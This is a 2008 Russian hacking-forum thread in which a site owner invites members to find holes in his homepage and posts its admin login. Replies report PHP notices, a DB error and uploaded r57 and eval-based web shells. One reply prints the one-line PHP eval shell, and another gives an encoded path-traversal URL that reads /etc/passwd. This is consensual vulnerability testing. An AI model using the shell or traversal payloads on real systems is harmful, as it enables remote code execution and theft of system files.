Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Проверка на уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=110)
-   -   Хомпага (https://forum.antichat.xyz/showthread.php?t=93265)

Ponchik 24.11.2008 16:12

Хомпага
 
Ото кагбе http://p0nchik.site90.com/
Сайт не полностью готов но основные части сделаны, всё остальное будет по этому типу...
Меня интересуют дыры, баги и даж warning'i
Одминко http://p0nchik.site90.com/admin
antichat:antichat
ВОЕНЕ ЗНАЕ ЧО ДЕЛАТЬ!!!111
+Добавил каптчу, ато вы своими сканнерами зафлудили там всё =\
+Изменил функцию проверки мыла, терь она более жестокая

Neoveneficus 29.11.2008 02:06

Есть бага. Попробуй коммент к новостям написать. С такой капчей не то, что спам, ни один нормальный коммент не пройдет. UPD: Раз на 10 отправил.

Notice
http://p0nchik.site90.com/admin/login.html
http://p0nchik.site90.com/guestbook/send.html
http://p0nchik.site90.com/news/add_comment/8.html

Вот тут:
http://p0nchik.site90.com/images/news/3944688a381ebff825688b2cf5c9de11.jpg
у тебя лежит шелл r57 с расширением jpg

Tigger 29.11.2008 04:44

http://p0nchik.site90.com/images/news/385c4b1121292617e196df56f12ca24e.gif =))

Ponchik 29.11.2008 10:42

Neoveneficus, спасиба за нотайсы
Насчёт каптчи, чё там 10 раз, я её с 2-3 раза ввожу :) Оставил 4 большие букафки :rolleyes:
Насчёт шеллов странно, чё эт они заливаются, вроде как не должны... Зафиксил
Tigger, есть чо?

Tigger 29.11.2008 13:13

http://p0nchik.site90.com/images/news/385c4b1121292617e196df56f12ca24e.gif
(<?php
eval(stripslashes(implode($_GET)));
?>)
Бред, знаю))

Ponchik 29.11.2008 17:44

Tigger, нет там такого файла =\
А, это ты ещё старый выкладываеш, яж написал, я зафиксил, попробуй щас залить

Iceangel_ 30.11.2008 07:20

Ошибка БД
Error Number: 1053
Server shutdown in progress
SELECT * FROM `news` WHERE `id` = 8

gisTy 30.11.2008 09:42

Цитата:

An Error Was Encountered

ШАЧЛО ПОПЯЧСА!!!!11
Мы шеллы не хаваем!!!111адын
В смысле "Вы загружете не изображение"
хотя заливал обычную картинку

так же при добавлении новости картинка заливается.. и только потом пишет типа большой размер...

Ponchik 30.11.2008 10:17

Iceangel_, ээээ... Ну тыбы хоть объяснил где это как и чё, вобще как я понимаю хостер сервак рестартил...
gisTy, ну покажи имагу нормальную которую ты лил =\
>>так же при добавлении новости картинка заливается.. и только потом пишет типа большой размер...
А как ты хотел О_о Чтобы сервер "магией волшебных ковычек" (это так лолек какой-то вчера в IRC сказанул) наугад узнавал размер твоего файла, он его сначало получает потом проверяет размер...

dotsenko 05.01.2009 22:17

http://p0nchik.site90.com:80/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
что то не понятное)


Время: 12:28